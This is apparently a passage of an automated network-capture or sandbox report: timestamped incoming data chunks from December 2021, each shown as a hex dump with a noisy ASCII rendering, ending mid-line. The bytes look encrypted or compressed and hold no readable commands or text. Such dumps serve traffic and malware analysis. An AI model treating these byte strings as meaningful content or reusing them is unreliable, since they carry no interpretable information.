2021-12-28 17:13:33 UTC	3567	IN	Data Raw: c2 71 1c 52 79 4e 37 5c 2e d0 d4 73 ab 3a 1e de 63 8e 59 3b d4 33 1c 2a bf bc ac d1 9f e8 93 c6 e4 f1 ac cb 6e 71 f2 4e 37 80 6d a9 84 37 f5 dd d7 32 e0 bf 13 56 97 cc 37 da 54 62 09 a9 fd 37 5b ce fd 60 e7 76 49 65 9e 6a 7a 55 40 72 0c 79 42 6e 3f 3e 55 05 2b f4 54 ae bc a7 27 66 4e 7f da ec 70 36 b8 fc e6 2a 4c 7b b6 87 78 7f 6f ac c8 90 97 5f d3 90 50 5a 2d 3b 13 33 1a 01 e8 42 30 9c 2c a4 44 9b 5a 57 39 64 50 be b9 eb 2c 71 e1 b0 d9 42 34 b6 53 64 22 8f 1e bc 7e f2 95 c8 6b a8 ae f3 8f 71 74 75 e1 f7 cd 59 38 06 36 02 87 24 41 35 a3 bc 22 ee 8e bd 2a 96 63 9d 69 9a 7b 5b eb 34 0b f8 e4 9f 11 20 dc ed 90 98 c7 c6 26 db fe 1e aa 47 fc ad 72 9e c6 ea 94 41 84 d5 de d3 d9 d1 b7 ef 98 f1 4e 06 08 92 7e 9a ae 85 94 86 f0 2b c3 53 cd fa 04 8d b6 0f 18 ab d4 Data Ascii: qRyN7\.s:cY;3nqN7m72V7Tb7[`vIejzU@ryBn?>U+T'fNp6L{xo_PZ-;3B0,DZW9dP,qB4Sd"~kqtuY86$A5"*ci{[4 &GrAN~+S
2021-12-28 17:13:33 UTC	3583	IN	Data Raw: f6 dc b5 43 78 94 0f 8c bf 33 64 d8 87 73 2f d2 6c 5f 56 a7 3e cf f6 22 48 2e e1 9d 86 89 02 4e 98 57 80 f9 c8 93 37 ae ca d2 f2 c1 4e 0d 24 2d d7 72 d8 7f a1 d3 1b a3 df 84 4c a5 4a 71 2f 81 a0 08 55 b0 59 be 5c 2e a4 92 1b 13 b6 3f bc 90 0c 34 92 11 86 b5 23 44 41 07 fc 16 1a 2b c6 6f 0b f9 1b 09 25 62 86 51 9d dd 9f 9f c7 f8 83 e0 8c 81 5e cf 68 92 f1 be 4c 15 1c a0 56 35 b0 88 7c da 3d c3 59 b6 7d 92 cc a5 4c 7c 6d 84 85 e5 7b 20 f7 26 3e 7f 91 1e 3e b0 c6 0e b1 76 8d 2c c2 c4 32 10 74 cb 3b 6a c7 af c2 ae 96 eb 50 e7 1d 22 c8 d4 97 db 01 04 29 1a 78 03 e6 e3 a2 87 04 16 62 62 19 54 e1 a3 1c 26 48 f9 b1 f9 ef 63 9a db d4 74 c8 cc 1b 08 ae ab 63 24 1b 78 db 29 7e fb e0 eb 9f 25 10 cf cb 54 42 b7 a8 2e ab 1b ec 4e 42 eb 38 a4 0b 3d 30 e7 c1 b7 47 1b 13 Data Ascii: Cx3ds/l_V>"H.NW7N$-rLJq/UY\.?4#DA+o%bQ^hLV5\|=Y}L\|m{ &>>v,2t;jP")xbbT&Hctc$x)~%TB.NB8=0G
2021-12-28 17:13:33 UTC	3599	IN	Data Raw: 02 a4 9e 71 44 b9 3c c7 14 25 a9 e4 82 98 a7 3a eb c2 c7 5b 6e 1c 66 bc 95 5a 91 52 0c 38 13 79 28 cf 3f ca 37 0a 4e e2 3d ab 6a 64 ee 3b 3f 29 ac a8 68 a2 7c 9f 25 6f f6 ed 01 7b 59 e4 ef 9b e5 aa 45 d3 2f ad 3c d5 09 a7 e2 cc 90 7d 62 c8 d8 16 05 de 18 dc 67 b7 32 19 f1 70 2d 69 07 9d ae a7 a4 3c 13 d2 cd f6 80 38 f8 19 a1 9a b9 47 f8 5b 6d bb 60 47 48 cb 12 cc 5f a2 61 bb cf 60 17 04 41 c2 32 df 2c 03 ce 15 c1 c3 38 c7 2e ac 39 9e 0a 4d 0b 32 26 a9 38 0c a9 e6 09 62 6d 23 43 8e aa 05 f7 d3 b3 3c 33 d5 ed 8c 20 c9 12 cc bb 28 35 45 fc 35 08 1c c8 9d a5 da 5a e6 23 e7 b3 1e 33 38 66 2c 6a 9c 7d 5f 95 4d b0 2f 14 88 25 9d 2d 6d 78 66 90 28 bf 12 57 76 81 5c 25 f6 f3 dc 30 13 87 5f 2e ab e2 01 1a c0 b1 bc 9a a6 79 81 f2 74 d8 da 39 80 d5 38 78 f5 54 75 84 Data Ascii: qD<%:[nfZR8y(?7N=jd;?)h\|%o{YE/<}bg2p-i<8G[m`GH_a`A2,8.9M2&8bm#C<3 (5E5Z#38f,j}_M/%-mxf(Wv\%0_.yt98xTu
2021-12-28 17:13:33 UTC	3615	IN	Data Raw: 43 52 b1 b3 55 cf 3c bc bc dc 7c 5f f6 64 53 47 38 02 f2 04 3c 26 4c fa 2e 67 26 e0 fc 20 1e c0 54 b5 12 44 48 fe d9 da 79 bf a9 c1 11 8c f1 02 2e fb 7d 73 b8 20 9a 4d 1e 1e 0a 13 be df dd 88 8c 40 e8 9e 2d d5 61 97 4e d6 62 8c bf a1 2d 95 d8 7d d9 d3 3a cb 44 1e 44 c4 c3 e1 63 b6 60 be 71 79 e4 b0 cc 14 74 c7 ce d4 73 28 03 79 09 61 4e dd c0 e9 a4 c9 11 23 86 4d 08 93 cd 74 93 c1 70 b0 a9 a4 f3 ae 31 bb 46 c0 b4 16 0e 07 aa 9a c3 38 97 09 22 18 97 0f 3f bd 44 7c d4 76 d9 24 ff 3f 17 e0 fe 7b d5 63 2c 02 11 ec b1 57 cc 85 bc 6c 92 85 34 2a 66 ef 64 bb c7 c3 ec 68 28 ff 62 6c 54 fe bd 53 1a ec 46 f5 4d 9a 7c d4 a3 8d 06 8a 51 b2 bf 8d 86 9c 8b 3a be 05 94 a7 2c 68 48 b2 7f f6 fb 93 75 ad 43 c8 ab 9e 69 dd 9d 45 d4 1b 9b 79 45 02 46 4b 58 77 aa de 5d c4 29 Data Ascii: CRU<\|_dSG8<&L.g& TDHy.}s M@-aNb-}:DDc`qyts(yaN#Mtp1F8"?D\|v$?{c,Wl4*fdh(blTSFM\|Q:,hHuCiEyEFKXw])
2021-12-28 17:13:33 UTC	3631	IN	Data Raw: 64 50 af c2 db 43 ac 4a 81 f9 92 72 d0 a0 0e b8 f5 ad 2b f9 42 f0 1f c9 e9 f8 3a ca 32 f6 99 ef 85 b0 91 09 a7 64 1e 09 61 d1 c3 ea b0 b3 c3 64 54 d8 7c 41 2b 83 88 19 a2 7e 0b e1 ce 17 5a be d4 0b cd 9a a8 06 44 34 1d 62 65 b3 19 44 9c 2f 73 7c 33 50 27 b4 b4 37 6c 31 1e 4c 5a 67 1b 38 39 ab 66 ee 2d be f4 b9 5b 81 e2 59 d6 1c e5 90 07 35 52 d0 73 d0 00 48 0b 1a 34 18 82 c2 e7 63 51 20 4b c9 85 88 7f c2 9a 1c 7d dd 83 a4 8b 40 8c ba 99 b7 34 0e 3e 6c b8 a5 40 83 46 bf e3 11 ba c9 cb e3 4c 4b 44 98 2b ae f6 bb 73 96 1c dd 8b 35 18 d5 c7 f5 fe 5b e9 e4 f1 eb 4c 8e 79 ca 6a bc 80 93 0b 9e 1a 06 a1 d6 f3 26 64 64 9b 0d a8 d7 73 39 ac b7 d7 8c 85 c9 bd 1f 2a 43 32 62 2f 88 09 a4 26 45 c1 fd 1d 5c 30 7a 99 59 ff 96 52 70 1d 2d 4e 5b 93 17 8a 35 f4 bd c0 78 3a Data Ascii: dPCJr+B:2dadT\|A+~ZD4beD/s\|3P'7l1LZg89f-[Y5RsH4cQ K}@4>l@FLKD+s5[Lyj&dds9*C2b/&E\0zYRp-N[5x:
2021-12-28 17:13:33 UTC	3647	IN	Data Raw: 85 93 fc 86 65 e8 d7 7f 8e 03 ba 7d 1a a6 28 9e 8e 9b 43 fd 1c ac 19 66 ab f4 29 9e 08 7e 37 41 af 12 07 b5 4d 53 53 8f 4a 14 b9 ca 59 2c b2 21 f6 00 0d e0 5e f7 a4 75 f5 b6 b0 9b 4f 75 7b e5 bf 8f ea 4d db a8 1a ea 8a c8 76 e6 0e af 88 4a aa 5e 6b 2f b1 42 fd ed 73 c9 5a 4a 80 79 9a 69 b8 18 00 54 aa d5 a2 e0 29 26 db 4f 8d 1f e5 52 3d f3 d1 bb f5 d3 b1 2e 1d 48 7a cf 10 f5 90 d0 c6 1f a3 ef 7e ef 4e c9 0a e7 f3 77 58 04 d8 4c de d9 0a be 79 0d 46 b2 d3 34 4f 57 cd cf 55 9c 84 71 0a 77 4c 91 32 63 4d 9f 43 83 27 81 e0 84 44 49 c7 9e ca af f2 b1 1f 90 79 b6 b2 08 51 e2 39 ae 2d fa 82 71 ab 87 7d 47 8d 34 4b 36 7e b8 56 88 e7 0e 1b cf ef ea 54 00 c9 f3 b1 38 31 d1 d9 b0 dc d3 42 8d d1 5d 98 a0 f2 a6 29 be a7 8f 9b 65 c1 dc cd 4f 17 4c 83 95 87 e5 82 2c 33 Data Ascii: e}(Cf)~7AMSSJY,!^uOu{MvJ^k/BsZJyiT)&OR=.Hz~NwXLyF4OWUqwL2cMC'DIyQ9-q}G4K6~VT81B])eOL,3
2021-12-28 17:13:33 UTC	3663	IN	Data Raw: 46 39 a8 b5 91 9d 27 21 d4 2c 98 76 5c 75 29 5b 39 3d da 99 2f 36 b4 13 fd cd 56 1d 72 69 9e 3a 62 a6 a8 6e c5 4e 04 27 39 48 c3 70 b1 13 c4 e4 55 d7 50 04 76 e1 a0 d4 02 9f 37 1f 74 6b 9f 64 a5 63 b4 22 e6 64 23 4b 8a a3 08 36 c2 4b 4e 45 6e 3a 73 ce 77 13 da 7a a7 52 f5 e6 2b 81 1c b2 48 58 a7 f1 8c a4 c5 3a 79 cd 68 17 ac a1 10 0b db 5a 04 13 65 72 ff ea 0d 30 cd 35 51 bd cc 2f 13 0a 97 a9 ca 21 7d b2 40 3f fd 57 25 4b 0d a9 7b 67 17 27 4e 24 1c 65 07 8c d2 96 1a 20 d7 ea 4a a8 a0 49 fb 39 61 9d 63 24 1a 18 6b b4 9c 4c b6 5b ac 67 0d 53 7e 40 0f 21 0e b9 54 99 e9 7d c9 73 64 6d 7c 44 86 66 98 72 f7 82 ff 9b e2 b9 95 db ea 45 d7 de 38 6b a0 9b db ec 54 85 9b 3b da 34 f0 48 38 c0 9a cc df 9b 86 81 34 f6 38 3d 1b 7d 90 23 60 dd 3a 90 fe 43 ee a5 60 39 80 Data Ascii: F9'!,v\u)[9=/6Vri:bnN'9HpUPv7tkdc"d#K6KNEn:swzR+HX:yhZer05Q/!}@?W%K{g'N$e JI9ac$kL[gS~@!T}sdm\|DfrE8kT;4H848=}#`:C`9
2021-12-28 17:13:33 UTC	3679	IN	Data Raw: 43 fb c5 df e5 88 53 a9 0a 2c 93 a0 ad b8 18 08 e5 3d d6 d3 98 48 ca b6 57 64 9f ff 1c 6f 72 75 fb 5f 34 b5 78 4b 16 ca b3 db b5 34 ad 2c 71 f0 39 f3 45 38 9f b8 de 86 a5 1d 83 34 5a 73 63 69 83 81 70 6d e1 09 1f a0 60 89 2a 0d 54 ab c0 76 5c 39 06 cd 38 33 28 87 10 22 76 7f f9 09 2a ec 95 35 19 8a 93 51 93 92 05 87 a5 9d a9 76 8c f4 a3 4d dd c2 75 a3 9f 67 01 b0 db 9c 3d 0c 4b fe ff 84 b8 9e a4 73 3b 31 1b c8 5b ae f2 9c 2a e7 4b 26 b2 e3 2d 90 5d ce 37 d5 13 15 91 96 22 96 70 7b fd cb 43 2c 5f 18 1c 85 bb ca 47 7e 15 e2 a9 16 f6 bf d3 bc fb 9a e2 de f3 2c 61 b5 ff e0 8f a2 27 81 c4 1f 09 47 ae 49 a8 9b 2f 89 10 8d ce 0a 27 18 d5 a3 16 de 35 7b fb d2 a3 0e 5a 53 52 41 5d 4e 97 56 7e d2 11 58 26 cc 24 61 b0 34 7a bd ca a8 d7 96 13 d0 9b 64 90 fc 62 bc 69 Data Ascii: CS,=HWdoru_4xK4,q9E84Zscipm`Tv\983("v5QvMug=Ks;1[*K&-]7"p{C,_G~,a'GI/'5{ZSRA]NV~X&$a4zdbi
2021-12-28 17:13:33 UTC	3695	IN	Data Raw: a1 2b 1f ca 4a 5a a3 70 f1 99 bb bf b0 4c 78 b9 60 00 d8 9c f3 c4 b2 22 ff af b1 79 9a 42 8c c4 9d a1 8d 83 c2 5a 69 52 a7 1b f2 35 8e bc 72 db f9 a8 f5 64 47 34 e2 19 60 92 b9 a6 60 e8 88 b9 0f c2 1f d3 c8 73 db dd 9e c3 8a 51 06 c3 98 5b 14 01 91 bc f4 6e 48 ff 5c a1 d9 40 f1 d5 31 b8 fe 6b ba b2 b3 c7 ed d1 9b 03 42 9a 89 24 c7 26 ba 9b 4f a7 7c 77 96 d7 79 97 ca 19 ed 88 8e a4 03 42 6e 1c f8 9d 2e 89 82 09 db 8a bc dc a8 f3 e8 e1 c1 9e f7 23 1c 4d 57 0f d8 13 02 1d 81 b0 39 2d 9a bc fa 3c c1 3a 91 40 f6 06 bf e8 d7 42 c2 77 d4 63 7e b2 c7 f4 66 bf ed ed b6 1a d7 2d d6 10 61 a0 b4 78 61 b9 6d dc d7 83 af 56 d8 c4 eb 9f 0d 03 68 2b c7 4b ea 4f 09 c3 24 3f 93 57 86 ab cf 69 09 77 f1 96 54 2f d9 6e d8 2d 07 60 d1 3a ee 33 f7 66 74 02 de 26 94 19 f8 a1 e0 Data Ascii: +JZpLx`"yBZiR5rdG4``sQ[nH\@1kB$&O\|wyBn.#MW9-<:@Bwc~f-axamVh+KO$?WiwT/n-`:3ft&
2021-12-28 17:13:33 UTC	3711	IN	Data Raw: c5 de f4 42 aa 46 9c fd 2a 9c 94 82 79 cf d4 5e ff 09 96 b2 6f 07 75 e8 7c 2a c7 98 b1 ac fc a2 e1 48 a0 83 6a 95 be a8 12 5d 0a 2f 23 94 db 35 32 7c f3 50 df 8f 9c c5 8d 77 1f c3 b9 1f 5d a0 82 40 90 84 3b 6d 84 fc 6c 04 ca 9f 39 4e 1c 9d c9 6d df af 00 1d 44 6e b6 26 2e 1a e0 19 46 37 ca d8 e5 a7 21 c6 da e7 3e 49 19 62 14 6c b7 ce a2 5d a5 3b 85 6e 61 92 63 14 34 71 43 71 6a 94 60 85 39 50 88 72 e5 0e 23 49 70 b5 e4 93 4b 4c 48 22 04 dd 26 07 2c 36 0e 53 d7 fc 2b fc de b4 c7 19 00 d5 b9 8b 32 b5 e3 95 64 72 fe 0c 5c c9 cf 75 a2 bf 2c 05 cf 7b 2f 13 6b 60 2f 1d 68 7b 45 46 20 be 91 6e 5c 7e 04 c6 4a af 3a a5 00 77 2f e2 32 b1 16 e5 3e b7 73 f6 c6 66 3b e7 dd 99 73 a5 4e a0 dc f8 d6 6a f4 75 84 ed 12 8d 43 0b ee fb 18 a8 f2 77 cb 72 e2 f0 ac 77 47 2e 5e Data Ascii: BFy^ou\|Hj]/#52\|Pw]@;ml9NmDn&.F7!>Ibl];nac4qCqj`9Pr#IpKLH"&,6S+2dr\u,{/k`/h{EF n\~J:w/2>sf;sNjuCwrwG.^
2021-12-28 17:13:33 UTC	3727	IN	Data Raw: 74 1c c3 ef bd a9 8d 16 35 e7 dc 2e 01 68 e7 fd de 5c 34 d9 52 b4 41 44 9a b6 cf 12 8d 94 73 51 f0 f2 41 c6 eb 3f 92 05 49 93 a9 2e f8 ca 79 69 55 aa 70 b2 b4 b4 63 b5 2f e3 92 06 7f 08 e5 de 63 fe b3 08 37 a1 c7 b1 b4 56 43 a3 37 07 40 b4 5a 3f 24 f2 9e 7e 61 e4 3b ba 07 28 1c 9e e5 95 65 24 b5 f3 a3 2e 62 01 fc 9d 1d db ec 11 cc ec 23 45 6b 19 0a 0d 1e 93 00 a2 1f 77 b7 94 2a 2c d8 15 c5 4d cc c6 48 f3 83 53 eb 15 b8 54 59 5b ac c8 80 57 c5 fd f1 b1 5b 0c c7 ed 63 8c 6d fd bf 48 f5 24 73 0c 26 0d de b5 a6 8a b3 a2 3e 74 d7 1b 6b 57 84 2a 11 6a 96 2f dd c8 5f 7e 08 f0 45 3a 76 eb 92 ec a3 7d 9c 93 ed e3 14 37 46 87 dd 05 67 cb ea f5 4f 6c 09 93 23 a7 6d a3 b4 4e 6d 0d 50 1f fb b4 0c 5a 14 eb cb c3 d1 8a 1c 8e 1c c5 83 6a 0c 0e 97 9a f6 f3 f4 75 91 e5 df Data Ascii: t5.h\4RADsQA?I.yiUpc/c7VC7@Z?$~a;(e$.b#Ekw,MHSTY[W[cmH$s&>tkWj/_~E:v}7FgOl#mNmPZju
2021-12-28 17:13:33 UTC	3743	IN	Data Raw: f5 cd 95 14 66 e1 95 6a 97 c0 c8 9a 3f 13 06 07 95 3b 54 56 b8 d9 19 aa f0 48 11 02 13 2d f6 f0 b5 4b 86 06 73 59 b0 03 c2 60 1a 63 82 b7 74 75 0c af b5 1e dc 99 d9 2e 29 e6 15 16 c9 0a 3a ad 77 a5 98 6d 89 cf 38 5d e0 f9 d8 3e 04 69 3e 16 4e 1f 57 a9 ec fa 6b 06 bd c6 bf 88 ec 14 aa 15 bf db d0 05 11 3c c4 71 8b 58 ca 93 84 15 fe dd 1f de a7 73 89 56 e8 bf 68 a8 be 32 e7 c4 56 56 f9 42 a1 92 b9 70 a2 e7 ec a4 1d 18 41 ed 59 3e d8 bd 8c 3d 8b 0f 8e 2b ad ba 2a 7b 5c 07 2a f9 75 a1 39 2f 6b 1e 18 a9 98 72 9d 5f 33 8c ad 02 85 fa 74 3f a9 28 fc 87 9b 16 62 02 54 d0 5c 95 a8 cc 5e 40 b4 2c df d5 66 ee 7c a6 ce 39 27 26 e7 14 ec dd 1c 54 b7 4f a9 3e 45 27 d6 02 49 d5 6d 4e 45 74 75 f2 ee e5 e5 3f 19 c1 97 55 b7 9c 8f 10 ce 3b 24 b3 8f fb 2f f7 19 b0 bf 1f e8 Data Ascii: fj?;TVH-KsY`ctu.):wm8]>i>NWk<qXsVh2VVBpAY>=+{\u9/kr_3t?(bT\^@,f\|9'&TO>E'ImNEtu?U;$/
2021-12-28 17:13:33 UTC	3759	IN	Data Raw: f4 a5 55 81 db 83 7a 6e 76 b6 8d a1 4b dd a8 83 e5 cd 40 f3 cd aa 07 bb a3 7d 76 ac e2 9c 0c d3 6e fb 0e bd 03 9b 8e 2e 2d 26 0d d8 db 50 3b d5 b6 c5 bf ae 57 c5 f6 98 45 85 81 b8 12 53 b9 4e 3a e4 44 3c 85 e5 19 08 45 83 1f 54 28 f2 8e f5 be 1f 04 ca f9 e2 7f ca 73 32 c8 d1 9b aa 53 a9 30 98 b1 8f 31 87 73 26 a3 f0 81 ef 35 a3 e7 16 e9 07 31 e1 18 82 48 50 09 a1 bf 2f ac 5e f4 fb b4 e1 7e 6a c4 bf 0b 2f ed 4b d1 8d de 68 3f ad 2a 0e d9 50 c7 21 dd 77 10 de ad a6 f7 5f 66 27 00 52 eb 38 1f 65 c7 87 1b 9f ba 82 48 5a 88 e9 27 7d 00 81 14 7c 73 4d cc cd 73 2d 4c 72 14 b9 3a a4 e6 a1 5a 48 fc 6f 31 d9 93 3e d2 47 6f cd 5a d2 eb f2 02 c4 b6 5c 62 30 d8 8b 05 8b 5d 28 07 13 15 d2 cd f3 e9 db 5e 07 62 38 b7 b2 8d eb 58 d4 57 fe 6c 49 4e a4 5f d3 cc eb b4 2a 4c Data Ascii: UznvK@}vn.-&P;WESN:D<ET(s2S01s&51HP/^~j/Kh?P!w_f'R8eHZ'}\|sMs-Lr:ZHo1>GoZ\b0](^b8XWlIN_L
2021-12-28 17:13:33 UTC	3775	IN	Data Raw: 43 6b 49 9e f4 ef 94 f9 b7 b1 1c 9f 02 ef fd 2f ad 3b 3f cd 24 fd a1 1d 31 f1 11 36 2f ae c4 44 bc a3 86 69 a2 b9 8b 5b 08 26 fc f7 df 0e 04 05 aa e5 cb 03 61 b6 a9 b4 6d c8 4b c1 16 2c b0 26 db d3 97 d1 b7 8b b7 e4 3b 53 b5 86 f6 d1 fb 24 04 e9 94 66 5c 2f fc 53 5f f8 ba e8 bc b0 b1 20 ff 6a 14 45 70 36 6d 73 e6 13 f6 68 ab f6 42 b5 45 21 e2 e4 b5 7b f0 6c 11 48 46 e3 a4 4b c9 c8 99 11 95 28 3d 48 00 81 68 bc f5 50 b4 5c c9 65 ee b4 9f 8f 44 2c 70 81 c5 69 c3 15 c5 8f 1e 0e d1 ce 75 22 3e e2 55 68 d4 8b 63 fd f5 d7 10 81 8d 40 ff c9 3c 14 88 8d 8d e8 39 3f 4e 97 fb 47 70 36 6f 7b 36 a1 19 42 51 ea a8 fe ed 97 7e 24 9a 9c 8f ea 18 58 fa 15 46 27 c0 dc ad d8 5f eb 27 80 ad 5b 10 f0 85 63 51 22 d4 a1 b6 9d 05 74 31 01 26 b2 9b 97 1a b9 bb a4 9a 4d af 8f e4 Data Ascii: CkI/;?$16/Di[&amK,&;S$f\/S_ jEp6mshBE!{lHFK(=HhP\eD,piu">Uhc@<9?NGp6o{6BQ~$XF'_'[cQ"t1&M
2021-12-28 17:13:33 UTC	3791	IN	Data Raw: df f9 d4 43 6d 74 44 dc 2c 9d 0a ed 92 96 fb 9a d8 04 0f 58 45 b6 77 ce 84 91 6d ee ba 9c 99 04 4e 81 b2 2e 34 f7 a6 46 be 10 ff f0 e6 ee a5 65 ca 11 29 57 67 ac 22 a6 56 af ef 1f dd 92 f2 bf cb 51 2a 34 55 eb ac e8 58 70 18 8f d0 7b 99 4f 5c 29 f0 73 0c 70 2a 15 67 14 79 ce 2b 5f b0 49 1b ce 08 b9 a8 ce ab 89 2e 89 95 37 5f 0f 7d a7 d0 5f 81 58 3f 4c ce 4c 3b 08 70 71 94 91 6e 7f e6 38 91 d6 5c a5 27 92 88 09 cf 92 a8 b7 38 ce 87 83 d0 9d ab 07 72 5e 0a 81 73 41 ad 4b 6d a4 e4 30 a2 6f 7c d0 f3 e3 4a 91 dd d7 94 e4 23 20 2b 07 8f 21 a5 3f 15 0b d5 55 95 6e ba d6 33 d6 85 49 b9 66 2f 0a 50 96 40 6a 0c 89 72 76 a5 0f 69 96 dd 93 46 d2 28 2f 3d a8 d7 76 f6 8d 39 87 cb 89 5d fc 57 d5 a0 d5 d4 6e 00 84 ad f6 58 eb 3e 5a 1a bf cb 89 bb 33 bb da 00 9f 27 75 88 Data Ascii: CmtD,XEwmN.4Fe)Wg"VQ4UXp{O\)spgy+_I.7_}_X?LL;pqn8\'8r^sAKm0o\|J# +!?Un3If/P@jrviF(/=v9]WnX>Z3'u
2021-12-28 17:13:33 UTC	3807	IN	Data Raw: ed 0f 4f a8 32 fe 4f 14 13 95 48 4e 4e eb 5c d2 fb 5f 89 8b d0 00 c4 52 75 b2 33 39 3a 8c e9 60 b6 0a 62 ca 35 a6 39 d7 e2 80 aa a8 cc 4a 78 f2 51 ce 1a 91 47 66 df d1 cd 01 34 8b 49 aa 0a d6 cd 7a 3a 5f 76 ca 13 19 8d ea 9c 99 a9 2c fd a0 30 5c ac dc 14 72 d6 e9 94 a3 0f 11 c6 6f 08 58 2b e3 3b 27 ee e7 ae 30 0b e2 f3 3f 38 bb b6 a9 a8 7b c1 53 8c 3f 25 5f 45 11 be 62 d4 92 f9 1c 53 27 bb e0 d1 cc 01 3a 4b 18 ea 16 ed 5f 4c 65 14 32 5b 86 13 db 1e e0 42 48 96 06 60 02 08 98 5a a1 dc 40 93 13 b6 ea 40 f6 e4 ae 5b 85 68 2e 1e e3 bf cd 8f d0 08 5f 8d 8f 7c ba 6b 7f 8a 9f ac 45 2e 77 ae 3c 3d ad fb a0 93 52 fe 96 c8 5c b3 33 60 72 b1 02 24 a8 e4 8b 3f d3 e9 aa f9 d0 b0 7d b7 00 e8 bd 41 f9 39 af 78 cd b0 cf 93 63 e2 55 33 a8 bb d9 6f c2 1c 38 49 11 cf 1c 17 Data Ascii: O2OHNN\_Ru39:`b59JxQGf4Iz:_v,0\roX+;'0?8{S?%_EbS':K_Le2[BH`Z@@[h._\|kE.w<=R\3`r$?}A9xcU3o8I
2021-12-28 17:13:33 UTC	3823	IN	Data Raw: 44 7c 70 70 76 96 4f 88 f9 28 37 50 64 40 4e b5 f3 1e 2c b6 17 30 4d 5e 83 70 d3 9d 23 03 2e ec d2 7c df d6 c3 6e 46 9f c2 e8 8c 81 24 6e 88 1c d1 70 7b 76 ae 32 73 fb ec e6 16 15 23 65 e0 a4 68 58 fa b4 da 9c 76 5e ca dc af b8 7a f6 5e 00 d2 00 f1 8b ee ee fa ae 64 95 dc 14 14 71 7c db 6d c1 46 56 4f 48 b2 69 60 b4 0d 0b 5d d0 67 39 a0 02 7b 88 db 51 0d ea ca 54 29 e9 8c df e8 e9 15 e5 16 cb e9 57 18 30 1d 4a d9 f0 b7 aa ec 21 d8 b6 84 33 30 07 d0 cd 7e b3 2b 38 aa 92 69 d3 05 37 4b 7d a7 64 0a 71 b6 bf 86 95 56 33 bc 80 bd 02 8b a8 c2 ce d6 11 6d 60 ea ad 00 5e 39 10 e2 15 18 9a 3d 40 a1 1b 53 6b 69 fc 84 d0 7b 0c c2 34 4a a1 0c 2d b1 00 2f 81 95 f3 0c 57 17 a2 7b 47 e5 34 f0 59 ed cd b7 62 fa b0 76 0a 2d 1b 2e 05 12 f0 b4 51 a5 1c af 8e 54 d9 c0 e8 bc Data Ascii: D\|ppvO(7Pd@N,0M^p#.\|nF$np{v2s#ehXv^z^dq\|mFVOHi`]g9{QT)W0J!30~+8i7K}dqV3m`^9=@Ski{4J-/W{G4Ybv-.QT
2021-12-28 17:13:33 UTC	3839	IN	Data Raw: 58 45 85 a9 82 13 cc ea 32 ab 6b d2 da 96 d9 4b b2 4d a4 37 65 4f 22 c0 a2 3c 4f 90 e7 94 4a 87 f1 1e 10 a8 92 fa b1 32 7e e8 2f 5e f1 03 1a 27 20 f5 8d ba db ec 8c c6 22 9e e6 e8 7f 48 d3 2f b2 56 2a 29 3d 9b ff 40 f2 2d 3f 44 f3 a6 ae ea 95 54 03 1e 07 57 d5 02 b6 c7 6c 77 9b 79 fe 4e d0 21 ea 8b d3 3a f1 21 87 2a b0 65 27 2f fe 6c 12 5e 61 a1 ed 8d e9 6e de 9b d7 51 c4 61 44 94 fc dc e3 1b 42 cc 29 c9 2a 80 d1 02 3c 3a 61 2e 29 09 05 2c f5 2c 2a 71 6c 97 3b 41 93 93 2b 53 e8 ae 28 03 fd 43 be 2e 2c 90 fa 88 f4 df 28 1d 1f 84 69 1f 63 57 71 cb 2e f1 28 ca a8 77 95 53 a7 c9 b2 30 2a f8 e6 bd 4a a5 c5 30 06 2e b6 79 8b 29 65 1a 2f 54 9c a0 0d 1e 5f 8d 9d 7c 8a 17 41 2f 68 44 c5 aa 68 02 a7 02 40 ef f6 12 01 aa a6 11 01 ee 3e 39 a9 f4 70 64 75 b5 78 df c7 Data Ascii: XE2kKM7eO"<OJ2~/^' "H/V)=@-?DTWlwyN!:!e'/l^anQaDB)<:a.),,ql;A+S(C.,(icWq.(wS0*J0.y)e/T_\|A/hDh@>9pdux
2021-12-28 17:13:33 UTC	3855	IN	Data Raw: a4 96 0b 0d de f6 a8 64 1f 1b 99 a6 22 93 83 f6 46 2a d5 a4 67 49 db 67 7a 9d 3e 10 3f 63 16 76 1c ff d8 b9 71 50 6f 36 eb f0 f5 71 96 a0 35 c1 e8 98 3d a4 5a 4c 91 e3 96 5d 40 2d e1 6c 7d 27 2b 2a 37 36 df 56 cb 8f 15 6f ec ba 44 f2 f0 36 16 53 a0 c5 36 b3 36 84 d7 f3 f0 46 8f a1 aa d8 b3 70 09 b2 5a b0 fc d8 e5 d0 93 77 ec bd 72 aa d5 52 21 66 9d 81 83 0b 7f 9b df 81 e8 1d 22 19 38 de 82 96 f7 2e 7b 5d 23 e6 f6 1f 50 31 52 58 17 3f 72 15 2d 7c 45 79 05 2b 1e f1 a3 ef 08 d1 cf ab 91 95 43 9b 9b b8 aa 8e 09 8d 42 51 e1 4a d1 54 08 8e 93 df 68 b8 78 11 51 5a a9 d8 ba 57 40 2e dc 06 f6 f3 91 de 5d 88 6c a3 4a 4a 06 f2 5c 4d d4 5f f8 c5 47 f9 e6 b3 1a 8a 47 4c ec f9 51 11 cb b0 cc 96 c2 4b 5a ca 05 82 95 7a 41 f8 49 3d 4f af b3 e3 a1 61 9e 11 76 de e8 63 b9 Data Ascii: d"FgIgz>?cvqPo6q5=ZL]@-l}'+76VoD6S66FpZwrR!f"8.{]#P1RX?r-\|Ey+CBQJThxQZW@.]lJJ\M_GGLQKZzAI=Oavc
2021-12-28 17:13:33 UTC	3871	IN	Data Raw: 1d 35 74 92 7f 4e fa 8f 1f b1 ea 5b 2d 7a ac 30 40 23 df 3b 29 ca cb d0 17 52 b1 e9 ce ef fa 67 0c fe 2a 51 ab 41 46 5a 6f 33 f9 c6 dc 26 54 14 c5 08 a2 45 91 70 87 4d 2c bc 0d 64 c8 b9 39 13 2e 72 22 28 80 0f 8a 6b ed a0 f9 97 23 39 6e c7 b5 dd d3 75 e4 76 d2 75 7b 01 e1 1b bb cc 3b 8c 97 07 94 b5 61 c1 c3 b4 ba f2 50 f1 1f b6 0e c2 f9 9f 8f 57 16 a8 4b df 26 b9 33 c2 3a 43 5c 16 d6 ed 1e 51 d3 b1 ba b4 29 bb 08 b7 7e 75 08 a3 6a 00 92 c5 88 db 71 4d 8f a8 31 bb db d3 38 75 e6 97 36 64 32 82 da 1f e2 6b 30 35 8a dd d6 3d 90 45 4f 00 21 ad f9 d3 42 af 67 53 c7 1f de 04 85 81 f9 b5 1e 1f 80 0f db 48 f0 73 b4 13 90 85 da 25 08 6d 0c f5 19 43 c7 67 0e c8 5f e2 f1 e0 66 68 01 3f 42 b6 6b 0c 41 40 32 7d 03 8d 3e ac 10 7f 27 dc de ed 79 54 39 8b 23 32 8a f9 b3 Data 